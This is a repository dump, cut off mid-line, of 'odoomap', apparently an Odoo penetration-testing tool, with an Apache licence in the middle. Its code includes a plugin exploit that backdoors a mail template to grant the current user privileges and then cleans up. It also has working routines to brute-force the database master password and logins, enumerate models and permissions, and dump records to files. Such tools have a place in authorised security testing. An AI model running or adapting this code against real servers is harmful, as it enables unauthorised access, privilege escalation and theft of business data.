considered vulnerable if: 93 | 1. Its Odoo version is within the vulnerable range. 94 | 2. The 'mail' module is loaded. 95 | 3. The current user can edit the `mail.template` table. 96 | """ 97 | 98 | if not self.connection.authenticate(db, username, password): 99 | exit(0) 100 | 101 | if not self._is_module_loaded(): 102 | return VulnerableStatus.NOT_VULNERABLE, "Mail module is not loaded" 103 | 104 | version_info = self.connection.get_version() 105 | if not version_info or not version_info.get("server_version"): 106 | return VulnerableStatus.UNKNOWN, "Could not determine Odoo version" 107 | 108 | raw_version = version_info.get("server_version") 109 | match = re.search(r'(\d+(\.\d+)*)', str(raw_version)) 110 | version = match.group(1) if match else None 111 | 112 | if not version: 113 | return VulnerableStatus.UNKNOWN, "Failed to parse Odoo version" 114 | 115 | if self.__class__.is_version_vulnerable(version): 116 | return VulnerableStatus.VULNERABLE, f"(Version {version})" 117 | 118 | return VulnerableStatus.NOT_VULNERABLE, f"Version {version} is not vulnerable" 119 | 120 | def run(self, 121 | target_url, 122 | database=None, 123 | username=None, 124 | password=None, 125 | connection=None): 126 | """ 127 | Run the plugin and try to add your user into 128 | the admin's group 129 | """ 130 | self.connection = connection 131 | if not self.validate_requirements(self.connection, username, password): 132 | print(f"{Colors.e} This plugin requires authentication") 133 | return "Failed" 134 | 135 | vulnerability_status, reason = self.check(database, username, password) 136 | if vulnerability_status is VulnerableStatus.NOT_VULNERABLE: 137 | print(f"{Colors.e} Target is not vulnerable: {reason}") 138 | return "Failed" 139 | 140 | if vulnerability_status is VulnerableStatus.UNKNOWN: 141 | print(f"{Colors.w} Vulnerability unknown: {reason}") 142 | else: 143 | print(f"{Colors.s} Target is vulnerable: {reason}") 144 | 145 | 146 | run_exploit = input("Continue exploit? [y/N]: ").strip().lower() 147 | if run_exploit not in ('y', 'yes'): 148 | print(f"{Colors.w} Aborting exploit") 149 | return "Aborted" 150 | 151 | print(f"{Colors.i} Updating `mail_template`.lang table") 152 | 153 | ### 1. Find a backdoorable template id ### 154 | old_lang, old_model = None, None 155 | template_id = 0 156 | for i in range(1, 32): 157 | res = self.connection.models.execute_kw( 158 | self.connection.db, 159 | self.connection.uid, 160 | self.connection.password, 161 | 'mail.template', 'read', 162 | [i, ["id", "lang", "model"]]) 163 | if res: 164 | old_lang = res[0].get("lang") 165 | old_model = res[0].get("model") 166 | template_id = res[0].get("id") 167 | print(f"{Colors.i} Old values lang: {old_lang}, " 168 | f"model: {old_model}, id: {template_id}") 169 | break 170 | if old_lang is None or not template_id or not old_model: 171 | print(f"{Colors.e} No template available for attack") 172 | return None 173 | print(f"{Colors.i} Backdooring template {str(template_id)}") 174 | 175 | try: 176 | if self.connection.models.execute_kw(self.connection.db, 177 | self.connection.uid, 178 | self.connection.password, 179 | 'mail.template', 'write', 180 | [template_id, self.get_values_to_write()]): 181 | print(f"{Colors.s} Payload stored, executing it") 182 | self.connection.models.execute_kw(self.connection.db, 183 | self.connection.uid, 184 | self.connection.password, 185 | 'mail.template', 'generate_email', 186 | [template_id, self.connection.uid, ["lang"]]) 187 | print(f"{Colors.s} You shall now be privileged") 188 | except Exception as e: 189 | print(f"{Colors.e} {str(e)}") 190 | 191 | finally: 192 | print(f"{Colors.i} Cleaning exploit") 193 | self.connection.models.execute_kw(self.connection.db, 194 | self.connection.uid, 195 | self.connection.password, 196 | 'mail.template', 'write', 197 | [template_id, {"lang": old_lang, "model": old_model}]) 198 | return "Success" 199 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [2025] [Mohamed Karrab] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /odoomap/actions.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | from importlib.resources import files 4 | from odoomap.utils.colors import Colors 5 | from .utils.brute_display import BruteDisplay, console 6 | 7 | directory = os.getcwd() 8 | 9 | def get_models(connection, limit=100, with_permissions=False, bruteforce=False, model_file=None): 10 | """Get list of accessible models with optional limit, 11 | falls back to bruteforcing if listing fails""" 12 | print(f"{Colors.i} Enumerating models...") 13 | if not connection.uid: 14 | print(f"{Colors.e} Not authenticated. Please authenticate first.") 15 | return [] 16 | 17 | try: 18 | if not bruteforce: 19 | # Try standard model listing first 20 | batch_size = 100 # Increased batch size for efficiency 21 | offset = 0 22 | total_models = [] 23 | model_count = 0 24 | 25 | if batch_size > limit: 26 | batch_size = limit 27 | 28 | # First, get the total count for progress reporting 29 | try: 30 | count = connection.models.execute_kw( 31 | connection.db, connection.uid, connection.password, 32 | 'ir.model', 'search_count', [[]]) 33 | 34 | print(f"{Colors.i} Found {count} models total, retrieving in batches...") 35 | 36 | # Retrieve models in batches with offset 37 | while True: 38 | # Fetch a batch of models directly with search_read 39 | batch_models = connection.models.execute_kw( 40 | connection.db, connection.uid, connection.password, 41 | 'ir.model', 'search_read', 42 | [[]], {'fields': ['model', 'name'], 'limit': batch_size, 'offset': offset}) 43 | 44 | if not batch_models: 45 | break # No more models to retrieve 46 | 47 | # Display models as they're retrieved 48 | for j, model in enumerate(batch_models): 49 | model_num = offset + j + 1 50 | print(f"{Colors.s} [{model_num}/{count}] {model['model']} - {model['name']}") 51 | 52 | total_models.extend(batch_models) 53 | offset += batch_size 54 | 55 | # Break if we've reached the limit 56 | if limit and offset >= limit: 57 | break 58 | 59 | models = total_models 60 | except Exception as e: 61 | print(f"{Colors.e} Error listing models: {str(e)}") 62 | response = input(f"{Colors.i} Fall back to bruteforce method? [y/N]: ").strip().lower() 63 | if response == 'y' or response == 'yes': 64 | print(f"{Colors.i} Falling back to bruteforce method...") 65 | bruteforce = True 66 | else: 67 | print(f"{Colors.e} Aborting model enumeration.") 68 | sys.exit(1) 69 | 70 | # If bruteforce is enabled or standard listing failed 71 | if bruteforce: 72 | return bruteforce_models(connection, model_file, limit, with_permissions) 73 | 74 | if not with_permissions: 75 | print(f"\n{Colors.i} Retrieved {len(models)} models total (limit: {limit if limit else 'none'}, -l to change limit)") 76 | else: 77 | print(f"\n{Colors.i} Permissions: r=read, w=write, c=create, d=delete") 78 | 79 | # Process models and check permissions 80 | result = [] 81 | for i, model in enumerate(models): 82 | model_info = model['model'] 83 | 84 | # Print progress regardless of permission checking 85 | if with_permissions: 86 | try: 87 | print(f"{Colors.i} Checking permissions for {model_info}...", end="\r") 88 | 89 | # Check each permission type individually 90 | read_access = connection.models.execute_kw( 91 | connection.db, connection.uid, connection.password, 92 | model['model'], 'check_access_rights', 93 | ['read'], {'raise_exception': False}) 94 | 95 | write_access = connection.models.execute_kw( 96 | connection.db, connection.uid, connection.password, 97 | model['model'], 'check_access_rights', 98 | ['write'], {'raise_exception': False}) 99 | 100 | create_access = connection.models.execute_kw( 101 | connection.db, connection.uid, connection.password, 102 | model['model'], 'check_access_rights', 103 | ['create'], {'raise_exception': False}) 104 | 105 | unlink_access = connection.models.execute_kw( 106 | connection.db, connection.uid, connection.password, 107 | model['model'], 'check_access_rights', 108 | ['unlink'], {'raise_exception': False}) 109 | 110 | perms = [] 111 | if read_access: perms.append('r') 112 | if write_access: perms.append('w') 113 | if create_access: perms.append('c') 114 | if unlink_access: perms.append('d') 115 | 116 | perm_str = ','.join(perms) if perms else 'none' 117 | model_info_with_perms = f"{model_info} [{perm_str}]" 118 | 119 | print(f"{Colors.s} {model_info_with_perms}".ljust(80)) 120 | 121 | model_info = model_info_with_perms 122 | except Exception as e: 123 | model_info += " [ERROR]" 124 | print(f"{Colors.e} Error checking permissions for {model['model']}: {str(e)}") 125 | 126 | result.append(model_info) 127 | 128 | return result 129 | except Exception as e: 130 | print(f"{Colors.e} Error in model discovery: {str(e)}") 131 | return [] 132 | 133 | 134 | def bruteforce_models(connection, model_file, limit=100, with_permissions=False): 135 | """Bruteforce models from a list and check permissions""" 136 | print(f"{Colors.i} Using bruteforce method to discover models") 137 | # Use provided model file, or select default based on version 138 | if model_file and os.path.exists(model_file): 139 | print(f"{Colors.i} Loading models from file: {model_file}") 140 | with open(model_file, 'r') as f: 141 | model_list = [line.strip() for line in f if line.strip()] 142 | else: 143 | print(f"{Colors.i} Using default model list for bruteforce") 144 | try: 145 | models_text = files("odoomap.data").joinpath("default_models.txt").read_text(encoding="utf-8") 146 | model_list = [line.strip() for line in models_text.splitlines() if line.strip()] 147 | except Exception as e: 148 | print(f"{Colors.e} Error reading default models file: {str(e)}") 149 | sys.exit(1) 150 | 151 | print(f"{Colors.i} Bruteforcing {len(model_list)} potential models...") 152 | 153 | if not connection.uid: 154 | print(f"{Colors.e} Not authenticated. Please authenticate first.") 155 | return [] 156 | 157 | discovered_models = [] 158 | count = 0 159 | 160 | # Limit the model list if needed 161 | if limit and limit < len(model_list): 162 | model_list = model_list[:limit] 163 | 164 | total = len(model_list) 165 | print(f"\n{Colors.i} Testing access to {total} models... (change limit with -l limit)") 166 | if with_permissions: 167 | print(f"{Colors.i} Permissions: r=read, w=write, c=create, d=delete") 168 | 169 | for i, model_name in enumerate(model_list): 170 | try: 171 | print(f"\r{Colors.i} Testing model {i+1}/{total}: {model_name}".ljust(80), end="\r") 172 | 173 | model_exists = False 174 | try: 175 | connection.models.execute_kw( 176 | connection.db, connection.uid, connection.password, 177 | model_name, 'search', [[]], {'limit': 1}) 178 | model_exists = True 179 | except Exception: 180 | pass 181 | 182 | if model_exists: 183 | count += 1 184 | model_info = model_name 185 | 186 | if with_permissions: 187 | try: 188 | read_access = connection.models.execute_kw( 189 | connection.db, connection.uid, connection.password, 190 | model_name, 'check_access_rights', 191 | ['read'], {'raise_exception': False}) 192 | 193 | write_access = connection.models.execute_kw( 194 | connection.db, connection.uid, connection.password, 195 | model_name, 'check_access_rights', 196 | ['write'], {'raise_exception': False}) 197 | 198 | create_access = connection.models.execute_kw( 199 | connection.db, connection.uid, connection.password, 200 | model_name, 'check_access_rights', 201 | ['create'], {'raise_exception': False}) 202 | 203 | unlink_access = connection.models.execute_kw( 204 | connection.db, connection.uid, connection.password, 205 | model_name, 'check_access_rights', 206 | ['unlink'], {'raise_exception': False}) 207 | 208 | perms = [] 209 | if read_access: perms.append('r') 210 | if write_access: perms.append('w') 211 | if create_access: perms.append('c') 212 | if unlink_access: perms.append('d') 213 | 214 | perm_str = ','.join(perms) if perms else 'none' 215 | model_info = f"{model_name} [{perm_str}]" 216 | except Exception: 217 | model_info = f"{model_name} [ERROR]" 218 | 219 | print(f"{Colors.s} Found accessible model: {model_info}".ljust(80)) 220 | discovered_models.append(model_info) 221 | except Exception as e: 222 | print(f"{Colors.e} Error testing model {model_name}: {str(e)}".ljust(80)) 223 | 224 | print(f"\n{Colors.s} Found {count} accessible models out of {total} tested") 225 | return discovered_models 226 | 227 | 228 | def dump_model(connection, model_name, limit=100, output_file=None): 229 | """Dump data from a model""" 230 | if not connection.uid: 231 | print(f"{Colors.e} Not authenticated. Please authenticate first.") 232 | return None 233 | 234 | try: 235 | count = connection.models.execute_kw( 236 | connection.db, connection.uid, connection.password, 237 | model_name, 'search_count', [[]]) 238 | 239 | print(f"{Colors.i} Total records in {model_name}: {count}") 240 | 241 | record_ids = connection.models.execute_kw( 242 | connection.db, connection.uid, connection.password, 243 | model_name, 'search', [[]], {'limit': limit}) 244 | 245 | if not record_ids: 246 | print(f"{Colors.w} No records found in {model_name}") 247 | return None 248 | 249 | fields_info = connection.models.execute_kw( 250 | connection.db, connection.uid, connection.password, 251 | model_name, 'fields_get', [], {'attributes': ['string', 'type']}) 252 | 253 | field_names = list(fields_info.keys()) 254 | 255 | records = connection.models.execute_kw( 256 | connection.db, connection.uid, connection.password, 257 | model_name, 'read', [record_ids], {'fields': field_names}) 258 | 259 | print(f"{Colors.s} Retrieved {len(records)} records from {model_name} (Change limit with -l limit)") 260 | 261 | if output_file: 262 | import json 263 | with open(output_file, 'w') as f: 264 | json.dump(records, f, indent=4) 265 | print(f"{Colors.s} Data saved to {output_file}\n") 266 | 267 | return records 268 | except Exception as e: 269 | print(f"{Colors.e} Error dumping data from {model_name}: {str(e)}") 270 | return None 271 | 272 | def bruteforce_master_password(connection, wordlist_file=None): 273 | """ 274 | Attempt to bruteforce the Odoo database master password. 275 | This works by trying to dump an unexisting database with each password. 276 | Even if the password is correct, it will raise an exception about unspecified 277 | format, so we check for specific error messages to confirm success. 278 | """ 279 | 280 | passwords = [] 281 | 282 | if wordlist_file: 283 | try: 284 | with open(wordlist_file, 'r', encoding='utf-8', errors='ignore') as f: 285 | passwords = [line.strip() for line in f if line.strip()] 286 | print(f"{Colors.s} Loaded {len(passwords)} passwords from {wordlist_file}") 287 | except Exception as e: 288 | print(f"{Colors.e} Error reading wordlist file: {e}") 289 | return None 290 | 291 | if not passwords: 292 | print(f"{Colors.e} Please provide a passwords file with -p .") 293 | return None 294 | 295 | display = BruteDisplay(total=len(passwords)) 296 | 297 | console.print() 298 | for pwd in passwords: 299 | display.update(f"{Colors.t} {pwd}") 300 | try: 301 | proxy = connection.master 302 | proxy.dump(pwd, "fake_db_73189") 303 | 304 | # If no exception: password is valid 305 | display.add_success(f"{pwd}\n") 306 | return pwd 307 | 308 | except (ConnectionRefusedError, TimeoutError, OSError) as net_err: 309 | display.add_error(f"{net_err}") 310 | 311 | except Exception as e: 312 | if "Fault 3:" in str(e) or "Access Denied" in str(e) or "Wrong master password" in str(e): 313 | pass 314 | else: 315 | # If it's a different exception: password is valid 316 | display.add_success(f"{pwd}\n") 317 | display.stop() 318 | return pwd 319 | 320 | display.stop() 321 | return None 322 | -------------------------------------------------------------------------------- /odoomap/core.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import sys 3 | import os 4 | import signal 5 | import getpass 6 | from . import connect 7 | from . import actions 8 | from . import __version__ 9 | from .utils.colors import Colors 10 | from .plugin_manager import load_specific_plugin, list_available_plugins, get_plugin_info 11 | from urllib.parse import urlparse, urlunparse 12 | from rich.console import Console 13 | 14 | console = Console() 15 | 16 | def on_sigint(signum, frame): 17 | console.print("\n[yellow][!][/yellow] [white]Interrupted by user. Exiting...[/white]") 18 | 19 | console.show_cursor(show=True) 20 | 21 | sys.exit(0) 22 | 23 | signal.signal(signal.SIGINT, on_sigint) 24 | 25 | def banner(): 26 | return Colors.HEADER + r''' 27 | _______________________________________________________________ 28 | _ 29 | ___ __| | ___ ___ _ __ ___ __ _ _ __ 30 | / _ \ / _` |/ _ \ / _ \| '_ ` _ \ / _` | '_ \ 31 | | (_) | (_| | (_) | (_) | | | | | | (_| | |_) | 32 | \___/ \__,_|\___/ \___/|_| |_| |_|\__,_| .__/ 33 | |_| 34 | _______________________________________________________________ 35 | ''' + Colors.ENDC + f''' 36 | Odoo Security Scanner by Mohamed Karrab @_karrab 37 | Version {__version__} 38 | ''' 39 | 40 | def parse_arguments(): 41 | parser = argparse.ArgumentParser(description='Odoo Security Assessment Tool') 42 | 43 | # Target specification 44 | parser.add_argument('-u', '--url', help='Target Odoo server URL') 45 | 46 | # Authentication 47 | parser.add_argument('-D', '--database', help='Target database name') 48 | parser.add_argument('-U', '--username', help='Username for authentication') 49 | parser.add_argument('-P', '--password', nargs='?', const='', help='Password for authentication (prompts securely if no value provided)') 50 | 51 | # Operation modes 52 | parser.add_argument('-r', '--recon', action='store_true', help='Perform initial reconnaissance') 53 | parser.add_argument('-e', '--enumerate', action='store_true', help='Enumerate available model names') 54 | parser.add_argument('-pe', '--permissions', action='store_true', help='Enumerate model permissions (requires -e)') 55 | parser.add_argument('-l', '--limit', type=int, default=100, help='Limit results for enumeration or dump operations') 56 | parser.add_argument('-o', '--output', help='Output file for results') 57 | 58 | # Dump options 59 | parser.add_argument('-d', '--dump', help='Dump data from specified model(s); accepts a comma-separated list or a file path containing model names (one per line)') 60 | 61 | # Model enumeration options 62 | parser.add_argument('-B', '--bruteforce-models', action='store_true', help='Bruteforce model names instead of listing them (default if listing fails)') 63 | parser.add_argument('--model-file', help='File containing model names for bruteforcing (one per line)') 64 | 65 | # Other operations 66 | parser.add_argument('-b', '--bruteforce', action='store_true', help='Bruteforce login credentials (requires -D)') 67 | parser.add_argument('-w', '--wordlist', help='Wordlist file for bruteforcing in user:pass format') 68 | parser.add_argument('--usernames', help='File containing usernames for bruteforcing (one per line)') 69 | parser.add_argument('--passwords', help='File containing passwords for bruteforcing (one per line)') 70 | parser.add_argument('-M', '--bruteforce-master', action='store_true', help="Bruteforce the database's master password") 71 | parser.add_argument('-p','--master-pass', help='Wordlist file for master password bruteforcing (one password per line)') 72 | 73 | # bruteforce database names 74 | parser.add_argument('-n','--brute-db-names', action='store_true', help='Bruteforce database names') 75 | parser.add_argument('-N','--db-names-file', help='File containing database names for bruteforcing (case-sensitive)') 76 | 77 | # plugin execution 78 | parser.add_argument('--plugin', help='Run a specific plugin by name (from odoomap/plugins/)') 79 | parser.add_argument('--list-plugins', action='store_true', help='List all available plugins with metadata') 80 | 81 | args = parser.parse_args() 82 | 83 | # Handle secure password prompt if -P was provided without a value 84 | if args.password == '': 85 | try: 86 | args.password = getpass.getpass(f"{Colors.i} Enter password: ") 87 | except KeyboardInterrupt: 88 | console.print("\n[yellow][!][/yellow] [white]Password prompt cancelled. Exiting...[/white]") 89 | sys.exit(0) 90 | 91 | # Validate URL requirement (not needed for --list-plugins) 92 | if not args.list_plugins and not args.url: 93 | parser.error("the following arguments are required: -u/--url (except when using --list-plugins)") 94 | 95 | # Validate argument combinations 96 | if args.permissions and not args.enumerate: 97 | parser.error("--permissions requires --enumerate") 98 | 99 | if args.bruteforce and not args.database: 100 | parser.error("--bruteforce requires --database") 101 | 102 | return args 103 | 104 | def main(): 105 | args = parse_arguments() 106 | 107 | # Handle --list-plugins early (no connection needed) 108 | if args.list_plugins: 109 | plugins_info = get_plugin_info() 110 | if not plugins_info: 111 | print(f"{Colors.w} No plugins found in odoomap/plugins/") 112 | return 113 | 114 | print(f"{Colors.s} Available Plugins:\n") 115 | for plugin_name, info in plugins_info.items(): 116 | print(f"{Colors.i} {info['name']} ({plugin_name}) v{info['version']}") 117 | print(f" Author: {info['author']}") 118 | print(f" Category: {info['category']}") 119 | print(f" Description: {info['description']}") 120 | print(f" Requires Auth: {'Yes' if info['requires_auth'] else 'No'}") 121 | print(f" Requires Connection: {'Yes' if info['requires_connection'] else 'No'}") 122 | if info['external_dependencies']: 123 | print(f" Dependencies: {', '.join(info['external_dependencies'])}") 124 | if 'error' in info: 125 | print(f" {Colors.e} Error: {info['error']}") 126 | print() 127 | return 128 | 129 | # Check if we have all authentication parameters 130 | has_auth_params = args.username and args.password and args.database 131 | auth_required_ops = args.enumerate or args.dump or args.permissions or args.bruteforce_models 132 | 133 | # Check if any action is specified (besides recon) 134 | any_action = args.enumerate or args.dump or args.bruteforce or args.permissions or args.bruteforce_models or args.bruteforce_master or args.brute_db_names or args.plugin or args.list_plugins 135 | 136 | # Determine if recon should be performed 137 | do_recon = args.recon or not any_action 138 | 139 | print(banner()) 140 | print(f"{Colors.i} Target: {Colors.FAIL}{args.url}{Colors.ENDC}") 141 | 142 | # Initialize connection 143 | connection = connect.Connection(host=args.url) 144 | 145 | # --- Odoo check before authentication --- 146 | connection = connect.Connection(host=args.url) 147 | version = connection.get_version() 148 | if not version: 149 | # Try base URL if the given one fails 150 | parsed = urlparse(args.url) 151 | base_url = urlunparse((parsed.scheme, parsed.netloc, '/', '', '', '')) 152 | if base_url.endswith('//'): 153 | base_url = base_url[:-1] 154 | print(f"{Colors.w} No Odoo detected at {args.url}, trying base URL: {base_url}") 155 | connection = connect.Connection(host=base_url) 156 | version = connection.get_version() 157 | if version: 158 | print(f"{Colors.s} Odoo detected at base URL!") 159 | response = input(f"{Colors.i} Use {base_url} as target? [y/N]: ").strip().lower() 160 | if response == 'y' or response == 'yes': 161 | print(f"{Colors.i} Updated target {Colors.FAIL}{base_url}{Colors.ENDC}") 162 | args.url = base_url # Update target for rest of script 163 | else: 164 | print(f"{Colors.e} Aborting, please provide a valid Odoo URL.") 165 | sys.exit(1) 166 | else: 167 | print(f"{Colors.e} The target does not appear to be running Odoo or is unreachable.") 168 | sys.exit(1) 169 | else: 170 | print(f"{Colors.s} Odoo detected (version: {version})") 171 | 172 | # --- Master password bruteforce --- 173 | if args.bruteforce_master: 174 | wordlist = args.master_pass 175 | actions.bruteforce_master_password(connection, wordlist) 176 | # If only master bruteforce was requested, exit after 177 | if not (args.bruteforce or args.enumerate or args.dump or args.permissions or args.recon): 178 | sys.exit(0) 179 | 180 | # Authenticate if needed for further operations 181 | if auth_required_ops and has_auth_params: 182 | uid = connection.authenticate(args.database, args.username, args.password) 183 | 184 | elif auth_required_ops and not has_auth_params: 185 | print(f"{Colors.e} Authentication required for the requested operation") 186 | print(f"{Colors.e} Please provide -U username, -P password, and -D database") 187 | if not args.bruteforce: 188 | sys.exit(1) 189 | 190 | # Perform recon if requested or if no other action is specified 191 | if do_recon: 192 | print(f"{Colors.i} Performing reconnaissance...") 193 | """ 194 | version = connection.get_version() 195 | if not version: 196 | print(f"{Colors.e} Failed to connect to Odoo server or determine version") 197 | sys.exit(1) 198 | 199 | print(f"{Colors.s} Detected Odoo version: {version}") 200 | """ 201 | 202 | # List databases 203 | dbs = connection.get_databases() 204 | if dbs: 205 | print(f"{Colors.s} Found {len(dbs)} database(s):") 206 | for db in dbs: 207 | print(f"{Colors.i} - {db}{Colors.ENDC}") 208 | else: 209 | print(f"{Colors.w} No databases found or listing is disabled") 210 | 211 | # Check portal 212 | portal = connection.registration_check() 213 | 214 | # Check default apps 215 | apps = connection.default_apps_check() 216 | 217 | # --- Bruteforce database names if requested --- 218 | if args.brute_db_names: 219 | if not args.db_names_file: 220 | print(f"{Colors.e} Use -N to specify a file containing database names (case-sensitive).") 221 | sys.exit(1) 222 | print(f"{Colors.i} Bruteforcing database names using file: {args.db_names_file}") 223 | connection.bruteforce_database_names(args.db_names_file) 224 | 225 | # Bruteforce 226 | if args.bruteforce: 227 | print(f"{Colors.i} Starting bruteforce login...") 228 | if not (args.wordlist or args.usernames or args.passwords): 229 | print(f"{Colors.w} Warning: No wordlist, 